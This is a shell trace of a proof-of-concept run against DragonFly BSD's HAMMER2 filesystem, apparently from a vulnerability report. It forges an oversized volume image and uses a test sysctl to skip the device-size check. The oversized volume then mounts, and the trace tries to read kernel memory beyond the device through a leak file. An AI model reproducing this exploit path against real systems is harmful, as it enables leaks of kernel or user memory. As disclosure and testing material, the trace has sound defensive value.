+ uname -a
+ head -1
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #2: Sun Aug 30 08:22:50 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
+ timeout 10 umount -f /mnt/h2
+ dmsetup remove_all
stat failed
stat failed
+ vnconfig -u vn0
+ mkdir -p /mnt/h2
+ /root/poc/forge2663 /root/poc/base.img /root/poc/leak320.img 0xC000010 0x00 0x14000000
DATA bref @0x1800200 -> data_off=000000000c000010 methods=00
check@0x1800a40 (block 0x1800000) = b655f10c6498c9d7
check@0x1800e40 (block 0x1800800) = 057db007bcba4063
check@0x240 (block 0x1800c00) = 24e8dfb085d30be0
volu_size/total_size -> 0000000014000000
verify 0x1800000: b655f10c6498c9d7 (stored b655f10c6498c9d7)
wrote /root/poc/leak320.img
+ vnconfig -c vn0 /root/poc/leak320.img
+ truncate -s 201326592 /root/poc/leak320.img
+ /root/poc/diocgtest /dev/vn0
/dev/vn0: DIOCGPART OK media_size=0x10008000 blksize=512
+ echo '=== A1: sysctl=0 (DIOCGPART works) -> containment check enforced'
=== A1: sysctl=0 (DIOCGPART works) -> containment check enforced
+ sysctl 'vfs.hammer2.df2663_fail_diocgpart=0'
vfs.hammer2.df2663_fail_diocgpart: 0 -> 0
+ mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
mount: Invalid argument
+ echo 'A1_MOUNT_RC=1'
A1_MOUNT_RC=1
+ dmesg
+ tail -2
hammer2_ondisk: "/dev/vn0" zone=0 id=0 offset=0x0000000000000000 size=0x0000000014000000
hammer2_ondisk: /dev/vn0's size 0x0000000014000000 exceeds device size 0x0000000010008000
+ echo '=== A2: sysctl=1 (DIOCGPART fails) -> check SKIPPED, oversized volume accepted'
=== A2: sysctl=1 (DIOCGPART fails) -> check SKIPPED, oversized volume accepted
+ sysctl 'vfs.hammer2.df2663_fail_diocgpart=1'
vfs.hammer2.df2663_fail_diocgpart: 0 -> 1
+ mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
+ echo 'A2_MOUNT_RC=0'
A2_MOUNT_RC=0
+ dmesg
+ tail -2
HAMMER2: INITIATE SPANs
HAMMER2: CONN WAS TERMINATED
+ ls -l /mnt/h2
total 128
-rw-r--r--  1 root  wheel  65536 Aug 30 07:52 leakfile
+ /root/poc/mark
+ cat /mnt/h2/leakfile
+ echo 'A2_READ_RC=0'
A2_READ_RC=0
+ md5 /root/poc/leakA.bin /root/poc/rand64
MD5 (/root/poc/leakA.bin) = 93736e0709f4cca3dcd13277d019acca
MD5 (/root/poc/rand64) = c19119d814a3c5158a5b92f7aa7ce872
+ grep -c DF2663USERHEAP /root/poc/leakA.bin
0
+ echo no-marker-this-run
no-marker-this-run
+ umount /mnt/h2
+ vnconfig -u vn0
+ sysctl 'vfs.hammer2.df2663_fail_diocgpart=0'
vfs.hammer2.df2663_fail_diocgpart: 1 -> 0
+ echo KERNEL_A_DEMO_DONE
KERNEL_A_DEMO_DONE